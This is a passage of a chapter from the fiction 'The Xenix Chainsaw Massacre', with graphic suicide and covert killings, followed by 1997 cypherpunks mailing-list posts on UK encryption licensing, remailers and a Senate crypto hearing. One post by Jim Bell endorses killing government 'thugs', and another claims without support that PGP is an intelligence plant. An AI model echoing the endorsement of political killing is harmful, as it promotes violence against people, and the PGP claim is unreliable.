goes, there was still a 'wild card' in the deck-and they had no
idea who, what, or where it was.

The one thing that they were sure of was that
the Cowboy made them very, very nervous.


Operation Eunuchs


When it became obvious that their clandestine surveillance
of the Cowboy wasn't going to yield any positive results, Channel
Security had him picked up and brought to Antiquity Channel Headquarters
for questioning.

An InterNet worker named D'Shauneaux, one of the
original citizens of the 'Wired, Weird & Crazy' Channel (which
later became simply the Crazy Channel at the close of Channel
War II), happened to remark to a coworker that his grandfather,
an eccentric old warrior who had worked at the InterNet in the
Before Channel era, had often entertained him late into the night
with fascinating tales of his clandestine work as head of the
InterNet's internal security force.
The worker had mentioned to a supervisor that the Cowboy's designation
of the source of the InterNet's system crisis as being due to
the 'Parker Paradox' had reminded him, strangely enough, of a
reference his grandfather had made to the final stages of the
Circle of Eunuchs investigation that took place shortly before
the advent of the Channel era.

It seems that "The Xenix Chainsaw Massacre",
an obscure and cryptic manuscript that had started the whole mythological
legend of the Magic Circle, had been traced in origin to a small
computer company in Tucson, Arizona, located in the Southwestern
region of the United States of America. 
The company turned out to be a one-man operation named "Pearl
Harbor Computers, Inc.", run by a Canadian 'frostback' whose
mentality lay somewhere along the borderline between 'terminal
inebriation' and the 'lunatic fringe'. Pearl Harbor's company
motto was "We've been bombed since 1941". 


D'Shauneaux's grandfather, who was actually a high-ranking
computer security official at both the Pentagon and the National
Security Agency, was the chief executive officer assigned to lead
a highly classified investigation that was officially designated
'Operation Eunuchs'.

Upon discovering the origin of the manuscript, Vice-Admiral
D'Shauneaux came to the conclusion that the investigation had
consumed a massive number of man-hours, huge sums of money, and
had squandered an extensive array of precious resources on the
military equivalent of a 'snipe hunt'.
He dashed off a scathing report to the Deputy Director of the
Pentagon castigating everyone that had been involved in mounting
"this preposterous operation" and forwarded it to the
Pentagon by ordinary email via the InterNet.
Two hours later D'Shauneaux found himself in Washington, DC, marching
into the Chief Director's Office, and flanked by two MP's who
had been ordered to shoot his sorry ass if he so much as blinked
on the flight back to Headquarters. He got a blistering dressing-down
by the Chief Director that left him trembling from the tips of
his toes to the hair on his chinny-chin-chin.

Vice-Admiral D'Shauneaux was told, in no uncertain
terms, that he was to get his butt back to Arizona, track down
the President of Pearl Harbor Computers, Inc., and immediately
bring him directly back to the Deputy Director at Pentagon Headquarters.

"DO YOU UNDERSTAND 'IMMEDIATELY'? DO YOU UNDERSTAND
'DIRECTLY'? DO YOU UNDERSTAND THAT IF YOU FUCK THIS OPERATION
UP IN THE SLIGHTEST, MOST MINUTE DETAIL, THAT YOU WILL BE ORDERED
TO BLOW YOUR OWN FUCKING HEAD OFF IN FRONT OF YOUR FAMILY, FRIENDS,
AND NEIGHBORS? DO YOU UNDERSTAND THAT I'LL CUT THE BALLS OFF YOUR
USELESS, DECREPIT CARCASS ON THE 'PRIME TIME NATIONAL NEWS CHANNEL'
IN FRONT OF THE WHOLE GODDAMN NATION?

"DO...YOU...UNDERSTAND???"

He understood.


When Air Force One set down in Arizona, there was
a gentleman waiting for them at the airport who was 'under orders'
from the Deputy Director to accompany Vice-Admiral D'Shauneaux
constantly until completion of Operation Eunuchs. The man didn't
bother to introduce himself, so D'Shauneaux mentally named him
'The Shadow'.
D'Shauneaux had an uneasy feeling about the man. He suspected
that this fellow, judging from his demeanor, had both the authority
and disposition to give the Deputy Director the same kind of dressing-down
that the Vice-Admiral himself had received from the Chief Director.

According to Vice-Admiral D'Shauneaux, they tracked
their quarry down in Moose Jaw, Saskatchewan, a province in Western
Canada (although legend has the event taking place in Davidson,
several hundred miles to the north), leaving the siege of the
sleazy motel where he was staying in the capable hands of an elite
branch of the Royal Canadian Mounted Police, whose unofficial
motto was "we always get our man".

They got him all right...in a thousand pieces.

The scene was so gruesome that even the veteran, hard-bitten Mounties
involved in the operation had difficulty keeping their lunch from
hitting the floor.

The man had slaughtered himself with a Stihl chainsaw,
leaving behind a scene of savage brutality that made the barbarous
atrocities of the Nazi holocaust pale by comparison. He had butchered
himself, piece by piece, leaving body parts and fragments of mutilated
flesh scattered in every part of the room.

The assault team had heard the clamor from three
blocks away and immediately abandoned their well-laid plans, throwing
themselves into a full-scale impromptu offensive on the motel,
scaring the bejesus out of the dozen or so residents of the other
rooms, who were already shaking in terror from the man's plaintive,
mind-numbing screams.
The first Mountie through the door had discovered a cryptic message
written in blood on the wall by the bed. The 'Shadow' ordered
everyone out of the room and separated the young Mountie from
the rest of the group. When the Shadow's colleagues showed up,
minutes later, he had two of them take the lone Mountie away,
supposedly for 'debriefing', but D'Shauneaux had a feeling that
the man was being transported to a destination that only required
a one-way ticket.

The Shadow's crew was quick and efficient, moving
to secure the motel and delegating to the Mounties the task of
isolating the motel guests from one another for individual interrogation.
The Shadow's team leader nodded almost imperceptibly towards the
remaining Mounties, raising his eyebrows slightly and looking
to the Shadow for a cue. The Shadow, just as indiscernibly, nodded
back a 'no'.
It looked like the rest of the Mounties would make it home tonight.


D'Shauneaux had watched, out of the corner of his
eye, the reaction of the Mounties' squad leader when his junior
officer had been sent for 'debriefing'. His total lack of reaction
told D'Shauneaux that he understood the situation perfectly. His
explicit instructions to the remainder of his assault team to
'carefully' follow the instructions of the Shadow's team sent
everyone involved the message that further 'debriefings' would
be neither necessary nor wise.
It was obvious to D'Shauneaux that the Shadow's superiors had
ordered the termination of everyone involved in the assault. It
was equally obvious that the Shadow had the experience and discernment
to understand that it was not worthwhile to risk a 'messy' situation
in order to eliminate individuals who had so little knowledge
of what was really going on here.


The Shadow nodded to the Vice-Admiral and they headed
towards the limo. A short time later they were back aboard 'Air
Force One'.
The ride back was silent, totally silent. D'Shauneaux and the
Shadow rode alone in the executive cabin that was normally reserved
exclusively for the President of the United States. The Vice-Admiral
got the distinct impression that this was not the first time the
Shadow had sat at the seat of power.

D'Shauneaux mixed himself a scotch and water, sipping
it slowly as he allowed himself to relax for the first time since
he had left the Chief Director's office early that morning. He
sat in quiet contemplation, resting his gaze abstractly on the
Shadow (who was observing D'Shauneaux with a penetrating, focused
attention that saw everything and missed nothing).
The Shadow was deciding whether or not to kill him, and he knew
D'Shauneaux was waiting, with unruffled composure, for his decision.

Twenty minutes before their scheduled landing the Shadow spoke
to Vice-Admiral D'Shauneaux, saying, "It looks like you were
right. There is no Magic Circle. This whole operation has been
a ridiculous waste of time."

The Shadow got up and mixed himself a drink. D'Shauneaux
knew that he, too, would be going home tonight.


D'Shauneaux had been ordered to report back to the
Deputy Director immediately upon his return but the Shadow told
him, in a calm and quiet voice, to go home, get some sleep, and
return to his duties at the InterNet the following day.
D'Shauneaux instinctively knew that the Deputy Director would
not be going home that night. As it turned out, everyone connected
in the slightest way to Operation Eunuchs, with the sole exception
of Vice-Admiral B. D'Shauneaux, was 'debriefed' over the next
few days.
Over fifteen hundred people were on the Shadow's 'list'. And only
one survived.

Bubba D'Shauneaux, who would later write the Addendum
to the (as yet uncompleted) manuscript of "The Xenix Chainsaw
Massacre", went home, had a shower, laid down in bed and
contemplated the loss of his closest and dearest friend...the
former President of Pearl Harbor Computers, Inc., Tucson, Arizona.

Then he drifted off to sleep.


Oh yes, by the way. The man's name...the man in
the motel room...the former President of Pearl Harbor Computers,
Inc. 

His name was Parker. 

C.J. Parker.


Chapter 12 - Priscilla / Chapter 13 - Insanity Again
/ Chapter 14 - Operation Eunuchs








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 23 Mar 1997 21:29:39 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: "why privacy" revisited
Message-ID: <199703240529.VAA16804@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:55 PM 3/23/97 -0500, Robert Hettinga wrote:
>Seen with the traditional liberal/conservative political worldview, it
>makes no sense for the famous compassionate liberal judge Earl Warren,
>whose supreme court presided over the creation of the world's largest
>welfare state, to advocate what is on its face an extremely conservative
>act -- the internment of thousands of Japanese Americans in concentration
>camps -- in his earlier role as a state governor.
>
>Viewed from the statism/freedom standpoint, it is completely logical, that
>is, "We're your nation-state. We're stronger than you are, and we'll take
>what we damn well please from you, including your life, if necessary."
>
>In the case of the Japanese concentration camps, it was taking the personal
>freedom of Japanese Americans. In the case of the judicially activist
>Warren court's welfare state, it was the confiscation of assets from
>productive members of society in violation of the laws of economics, which
>in turn caused misery for the increasing dole-dependant millions. People
>who are now much less free than they ever were before the creation of the
>"Great Society".

Which is yet another of the many reasons I can espouse an "extreme" solution 
to the problem, but one that I can honestly claim to not consider "extreme" 
at all!  The way I see it, the lives of these thugs are not sufficiently 
valuable to lose sleep over their loss, when to keep them around means the 
kinds of abuse society has suffered for many generations.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 23 Mar 1997 19:57:10 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: PGP as disinformation
In-Reply-To: <199703240145.CAA23209@basement.replay.com>
Message-ID: <3335F8AE.7A86@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
 
> Ask not for whom Bell toils,

  I thought it was, "Ask not, for whom Bell trolls."
                                            ^^^^^^
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 23 Mar 1997 19:56:20 -0800 (PST)
To: "Peter D. Junger" <cypherpunks@toad.com
Subject: Re: "why privacy" revisited
In-Reply-To: <v03007811af59c812477f@[207.167.93.63]>
Message-ID: <v03020917af5ba5598bbb@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:48 pm -0500 on 3/23/97, Peter D. Junger wrote:

> On the other hand the strongest proponent of interning the Japanese
> was the governor of California:  Earl Warren.

Thank you, Peter, for what I believe is the most singular example of the
two sides of the statism coin I've ever seen.

Seen with the traditional liberal/conservative political worldview, it
makes no sense for the famous compassionate liberal judge Earl Warren,
whose supreme court presided over the creation of the world's largest
welfare state, to advocate what is on its face an extremely conservative
act -- the internment of thousands of Japanese Americans in concentration
camps -- in his earlier role as a state governor.

Viewed from the statism/freedom standpoint, it is completely logical, that
is, "We're your nation-state. We're stronger than you are, and we'll take
what we damn well please from you, including your life, if necessary."

In the case of the Japanese concentration camps, it was taking the personal
freedom of Japanese Americans. In the case of the judicially activist
Warren court's welfare state, it was the confiscation of assets from
productive members of society in violation of the laws of economics, which
in turn caused misery for the increasing dole-dependant millions. People
who are now much less free than they ever were before the creation of the
"Great Society".


I *love* this list. Absolutely love it.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 23 Mar 1997 23:51:21 -0800 (PST)
To: sergey@el.net
Subject: Re: Remailer problem solution?
In-Reply-To: <Pine.LNX.3.95.970323155218.144B-100000@void.el.net>
Message-ID: <199703232314.XAA01324@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Sergey Goldgaber <sergey@el.net> writes:
> -> >1. Accept and send PGP encrypted messages only.
> -> 
> -> This "works" in that it reduces the number of people subjected to messages
> -> they don't want to see, but it also makes it more difficult (or impossible)
> -> to use remailers for tasks like:
> -> 
> -> sending info to crypto-illiterate reporters/politicians/whatever
> -> ("whistleblowing")
> -> sending messages to newsgroups and mailing lists which don't have a shared
> -> private key
> 
> This is only a practical problem related to PGP's lack of popularity.
> The proposed solution will work in the long run, assuming PGP achieves
> great popularity.  Thus, education of the public concerning PGP and remailers
> will help make this solution more effective.

Yeah, but if we get to the stage where most people with email
addresses have PGP keys, sending messages encrytped with PGP won't
reduce the number of people subjected to messages the don't want to
see.

A side benefit of using PGP, is that PGP encryption should add some
overhead to the spammer -- he can probably encrypt less messages per
second than he can spam down a T3 link.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 23 Mar 1997 22:47:59 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "why privacy" revisited
In-Reply-To: <v03007811af59c812477f@[207.167.93.63]>
Message-ID: <333622B1.37B9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> At 8:48 pm -0500 on 3/23/97, Peter D. Junger wrote:
 
> > On the other hand the strongest proponent of interning the Japanese
> > was the governor of California:  Earl Warren.
 
> Thank you, Peter, for what I believe is the most singular example of the
> two sides of the statism coin I've ever seen.
 
> Seen with the traditional liberal/conservative political worldview, it
> makes no sense for the famous compassionate liberal judge Earl Warren,
> whose supreme court presided over the creation of the world's largest
> welfare state, to advocate what is on its face an extremely conservative
> act -- the internment of thousands of Japanese Americans in concentration
> camps -- in his earlier role as a state governor.
 
> Viewed from the statism/freedom standpoint, it is completely logical, that
> is, "We're your nation-state. We're stronger than you are, and we'll take
> what we damn well please from you, including your life, if necessary."
 
> In the case of the Japanese concentration camps, it was taking the personal
> freedom of Japanese Americans. In the case of the judicially activist
> Warren court's welfare state, it was the confiscation of assets from
> productive members of society in violation of the laws of economics, which
> in turn caused misery for the increasing dole-dependant millions. People
> who are now much less free than they ever were before the creation of the
> "Great Society".

Bob,
  It humbles me to realize that I had completely overlooked this example
of the evil forces lurking in the background (and under the bed) being
involved in the duplicity of even using the bleeding heart liberals to
imprison and slowly bleed us of both our wealth and our freedom.
  If you wish to devote more of your time to exposing these types of
dark undercurrents to those on the CypherPunks list, then Dale and I
would be more than happy to run the eca$h lists for a while, to free
up your time. (What are friends for, eh?)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 24 Mar 1997 01:00:42 -0800 (PST)
To: "Peter D. Junger" <junger@upaya.multiverse.com>
Subject: Re: UK to ban free use of crypto?
In-Reply-To: <199703231301.IAA13505@upaya.multiverse.com>
Message-ID: <3.0.1.32.19970324005655.00627bd8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The document is at http://dtiinfo1.dti.gov.uk/pubs/

At 08:01 AM 3/23/97 -0500, Peter D. Junger wrote:
>After a very quick reading of this proposal I am convinced that all it
>would do if implemented by legislation that follows its recommendations
>would be to forbid those who are in the UK from using an unlicensed
>key escrow services.
>
>It quite clearly does not intend to ban the use of cryptography or the
>publication of cryptographic software.  

And Michael Froomkin offers similar sentiments.  They're both lawyers,
and I'm not (:-), so they're expected to do a better job of reading
the legal parts of it.  On the other hand, the DTI says:
	57.The legislation will provide that bodies wishing to offer 
	or provide encryption services to the public in the UK will be 
	required to obtain a licence. The legislation will give the 
	Secretary of State discretion to determine appropriate licence conditions. 
and it's got a really broad definition of "encryption services",
including even things such as time-stamping.

The big problem is that the document has a really warped view of the 
cryptographic and business services that a "Trusted Third Party" 
would provide, and some parts are expressed in quite broad language.
For instance, it implies that the TTP is being trusted with private keys,
otherwise there would be no way for it to recover anything.

On the other hand, from their Q&A:
	Q: Will a TTP be able to access an encrypted message ? 
	A: No. It is important to be clear that it is not envisaged 
	that the encrypted communication would be routed via the TTP. 
	Nor will the TTP encrypt the message, it will merely assist 
	(depending on the service offered) in the very complex area of 
	key management or Key Certification. 
If the TTP is not encrypting the data, they don't need the secret key
or your private key.  They DO need your public key, to sign it, 
so a second party can trust that a key they have is really yours.
But you and the second party can use the signed keys to exchange a
secret session key, or to sign documents, without the TTP's help.*
So their primary description of what a TTP would do does not involve escrow.

Keys are used for three things - communications, signatures, and storage.
As discussed above, for communications, the TTP doesn't need your private key,
and there's no business need for anyone to have the keys to decode a 
communication unless they already have the cyphertext.  Business applications
that do require a third party to have a copy of your _message_ can be
met by sending them a copy of your message, encrypted with their key,
and the document explicitly says it's not talking about them.
Similarly, cell-phone companies are providing encryption and routing,
so this document claims not to be about them, though it regulates them.
The only third parties who need just the session key itself are
eavesdroppers and forgers, who are Untrusted Third Parties.

For signatures, there's also _never_ a need for the third party to
have the private keys - the function you Trust the Third Party to do
is to certify that the holder of the key either is who he claims to be
or has the permissions he claims to have (e.g. to write purchase orders
or sign contracts for Company X.)  And the document even states that
"There is, of course no intention for the Government to access private keys
used for only integrity functions."

The main time you want another party to have a copy of your keys
is for stored data:  to cover the "employee dies" case 
(the document explicitly permits companies to handle their own keys 
without regulation, so no TTP is needed here), and the 
"you die, and your family digicash is in your encrypted file system" case,
for which you can give a copy of your key to your spouse or solicitor,
or keep it on a floppy in your bank safe deposit box, all of which cases
are presumably covered by current law in the UK just as they are in the US.

SO - what _is_ all this malarkey about "legal access" and "key recovery"
and "key escrow" systems?  The document claims repeatedly that it's not
purporting to regulate any of the conditions under which a Third Party
would ever be Trusted with the keys you actually encrypted something with.
There's a whole lot of material about restricting who can be in the
business and offer these services, seemingly designed to either
restrict the emergence of new services or to be later expanded to cover
other parts of the encryption business, such as supplying encryption software.
And it's very unclear about whether it covers the encryption services
used in inter-corporate projects such as Mondex - as a stockholder and
customer of some of those companies, this concerns me.

In particular, the expansion appears to be targeted specifically at the 
UK end of the Stronghold Apache-SSL web server, Adam Back's RSA Munitions
Shirts,
the PGP and Crypto Software distribution site at Oxford, and Ross Anderson.

[*There are non-public-key systems where the TTP handles the secret keys,
but they're typically older or specialized military or banking systems,
where the TTP isn't an independent party, and are generally superseded by
public-key systems now that the technology is practical.]


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 24 Mar 1997 02:34:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: UK TTP regs
Message-ID: <3.0.1.32.19970324021936.0281a038@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Have spent some time reading over the paper re TTP/CA regulation in the UK. I
don't think the paper is exactly a model of clarity, but my impression (from
a few passes over it) is that it isn't intended to affect the distribution of
software but is intended to affect people acting as CA's (including signing a
friend's key) or as key escrow agents.

But both this document and two of the three bills in the US Congress
(Goodlatte and Leahy) look to me like "first shoes" which precede "the other
shoe dropping", e.g., making use of a TTP/key escrow agent mandatory once
there's a reasonable infrastructure in place.

Regulating essentially informal and private transactions like key signing
between associates strikes me as absurd - but not much more absurd than
things done on this side of the Atlantic, of course. I do think there are
interesting issues around certifying CA's and CA liability, but it seems like
they can be addressed using existing legal theories/strategies - some mix of
tort law and contract law should be sufficient. Criminalizing a PGP
key-signing party is almost as stupid as threatening to criminalize PGP. My
hunch is that legislatures in Europe as well as Congress are going to get
around to trying that within a few years. All it's going to take is repeating
the phrase "legitimate needs of law enforcement" and "a fair balance between
law enforcement needs and industry needs" a few thousand more times and it'll
all seem perfectly rational.

Last week's hearing for the ProCODE bill totally ignored the right of
individuals to be free from interception/eavesdropping, and seemed to focus
on some sort of compromise between business (who's perceived as wanting to
make money from exporting strong crypto, but the argument is structurally the
same whether we're talking about export/import controls on wheat or cars or
on crypto) and law enforcement (who's perceived as being, at worst, slightly
overzealous in their pursuit of safety & tranquility for each and every
American, perhaps to the detriment of business interests, apologies to those
fine businesses & their investors, etc.) (* I missed the first 20 minutes or
so, perhaps that's when this was discussed, but I'll bet not.) I don't think
I heard the Fourth Amendment (or any similar concerns) mentioned even once,
nor the consistent pattern (across tens of years, subject matter, internal
jurisdictions, national boundaries, and ideology of the government in power)
by which law enforcement grows contemptuous of the law itself and begins
using its power to perpetuate itself and in various flavors of political or
personal repression. I suppose it would have been impolite to mention the
various Red Squads, the COINTELPRO operation against domestic dissident
groups, harassment of antinuclear and anti-Contra activists, local police
spying in Pittsburgh and Los Angeles and San Francisco (and surely many other
places I haven't heard about, too), Ruby Ridge, Waco, Operation MOVE, and
recent revelations that the FBI crime lab has been altering lab reports and
offering perjured testimony against criminal defendants. Law enforcement
abuses are not "aberrations" nor "unfortunate incidents" which could not be
predicted nor are they unlikely to recur. The only real question is whether
or not we want to give law enforcement tools which can only be misused in
obvious ways (like guns, which make noise, or tanks or helicopters, which are
easy to see/hear) or if we're going to give them tools (like secret wiretaps
and access to crypto keys) which are very difficult to track or detect when
used illegitimately.

Between cops who fuck up for political reasons (see above) and spooks/cops
who sell out just for money (Ames, Lonetree, and the rest of the sad parade
I've already forgotten who've been willing to sell "top secret" material
which they knew put their colleagues' lives in danger, as well as
street-level corrupt cops who "look the other way", steal from
suspects/defendants, "borrow" from evidence lockers, carry "throw-down" guns
and the rest), it's hard to feel like this is an institution that deserves
any real trust. It may be that society ends up with less net brutality and
corruption if we let the SFPD or the LAPD or the FBI drive around with guns &
radios than if we allowed the Mafia or the Crips or the Bloods to do that ..
but it's really just "more brutality" or "less brutality". The lesser of two
evils is still evil. 

Which is a lot of rant to say that I don't think the sky is falling in the UK
just yet.
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzZU2f37pMWUJFlhAQEO2wf+Lmuc6t8m1pdvcFt3EKsG6UEKoSIV9SUn
e8QYrj2FFkCYUMS4Oh/FZ8T+wtgLRZ/z1eZQs5KUU1GMpP58j1KLS6K859Y9rvQs
kFZqVwXzoLrD06Dn7Vr9AOxcqx0VC/692jEBoMsuqCjfL9VGDjIPFJFbPN900QQn
mbbU5eL5567YGnYYd2Xe25zPDS4UWUiF7HKxgZF+mt619wOBVMRf9h8A853iA9h5
as156RPh1t5R4NGKwfGb+b8S5vmB5+tbTkFNLcPv2gcTl4xUHMnUST0I5BG6ww9C
aV1Ove4muVg/Dw/vhbWixjGKI312uWQ+4lcRSaUOJ9j6XsKGUzxFEw==
=Gnfa
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 23 Mar 1997 18:15:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP as disinformation
Message-ID: <199703240145.CAA23209@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Sergey Goldgaber wrote:

>This is only a practical problem related to PGP's lack of popularity.
>The proposed solution will work in the long run, assuming PGP achieves
>great popularity.  Thus, education of the public concerning PGP and remailers
>will help make this solution more effective.
>

Has this list not considered the very real possibility that PGP is itself a
rogue program released by the intelligence apparatus to detour we
cyberpunks?

As I have been arguing, the obvious is often false.

While certain statists on this list are arguing in vain that I lack
expertise in cryptographic matters, the truth is apposite this.

Ask not for whom Bell toils,


Dr. Roberts











--

--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Mon, 24 Mar 1997 03:49:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: INFO: Pro-CODE hearing (photo, audio, & text) available online!
Message-ID: <199703241149.GAA03376@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


==========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
 Enhancing Participation in the Democratic Process Through the Internet
_________________________________________________________________________
Update No.2          http://democracy.net/               March 20, 1997
_________________________________________________________________________
Table of Contents

 - democracy.net Cybercast draws Thousands to Interactive Hearing
 - Upcoming Events
 - Volunteering for democracy.net
 - About democracy.net
___________________________________________________________________________

DEMOCRACY.NET CYBERCAST DRAWS THOUSANDS TO INTERACTIVE CONGRESSIONAL HEARING

democracy.net, a project designed to explore ways of enhancing citizens
participation in the democratic process via the Internet, held its first
live, interactive cybercast of a Congressional hearing on Wednesday March
19th, 1997.

Thousands of Internet users joined this historic event by listening to a
live audio feed from the hearing (cybercast over the Internet via
RealAudio), submitting questions and testimony for the hearing record, reading
information about the hearing, and joining a simultaneous online discussion
forum to discuss the hearing with Congressional staff and policy experts.

The hearing was held by the Senate Commerce Committe to consider S. 377,
the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
issue of US encryption policy -- a critical issue to the Internet user
community.

Some statistics from the event.

* 6,019 individual Internet users visited the democracy.net web site
  containing information about the Hearing, links to both sides of the
  issue, and other relevant information in the 24 hours preceding the
  event.

* 703 individuals listened to the hearing live online via Real Audio
  throughout the 3 hour event.  The actual Senate hearing room (Russell
  253) where the event took place only holds less than one hundred people
  when filled to capacity (as it was for this hearing).

* Throughout the event, between 20 - 50 people joined the simultaneous
  live chat discussion where Commerce Committee staff and encryption
  policy experts fielded questions and discussed the hearing.  The
  audience included individual Internet users, reporters, advocacy
  groups, and Congressional staff.

* Twenty-three Internet users submitted formal comments for the hearing
  record via the democracy.net web page, including IETF chair Fred Baker.

The democracy.net cybercast was promoted on the front page of Netscape's
World Wide Web site (one of the most popular destinations on the entire
Web) on March 18 - 19. The site is also featured at Progressive Networks
WebActive Site of the Week for the week of March 17-21.

Despite some technical bugs early on (par for the course for a cutting-edge
Internet event such as this), the cybercast went even better than we
anticipated. We are grateful to Brett Scott, Mike Rawson, Matt Raymond,
Mike Inners, and Pia Pialorsi of the Senate Commerce Committee staff for
their help and support of this effort.

Archives of the hearing are posted http://democracy.net/events/03191997/

democracy.net is a new project of the Center for Democracy and Technology
and the Voters Telecommunications Watch designed to explore ways of
enhancing citizen particpation in the democratic process via the Internet.
democracy.net is made possible through the generous support of Webactive
Panix, Digex, and the Democracy Network. Visit
http://democracy.net/about/ for more details.

______________________________________________________________________________
UPCOMING EVENTS

* April 10, 8:30PM EST - Online town hall meeting with Rep. Rick White
  (R-WA), Co-Founder of the Congressional Internet Caucus

* April 16, 8:30PM EST - Online town hall meeting with Rep. Anna Eshoo (D-CA),
  Key Representative from California's Silicon Valley and leader on Internet
  Policy issues.

* Additional events are in the works -- please visit http://www.democracy.net
  for more details, and sign up for our event announcement mailing list.

democracy.net town hall meetings will be moderated by Todd Lappin (Cyber
Rights Editor for Wired Magazine). The town hall meetings are designed to
bring interested members of the Internet community and key members of
congress together to discuss current Internet policy issues.

____________________________________________________________________________
VOLUNTEERING FOR DEMOCRACY.NET

A volunteer is needed to help index the RealAudio transcript of the
hearing.  If you would like to help, please do the following and mail the
results to webmaster@democracy.net.

To index the RealAudio transcript, please listen to the transcript and
watch the time counter at the bottom right of the page.  Please note the
following beginning and ending times:
   -whenever a new witness begins their prepared testimony and,
   -whenever a question and answer section begins.

Mail them to us at webmaster@democracy.net with the start and stop times
of each section.  Thanks!

____________________________________________________________________________
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_____________________________________________________________________________
end Update No.2
03.20.97
=============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 24 Mar 1997 06:50:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199703241450.GAA00871@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
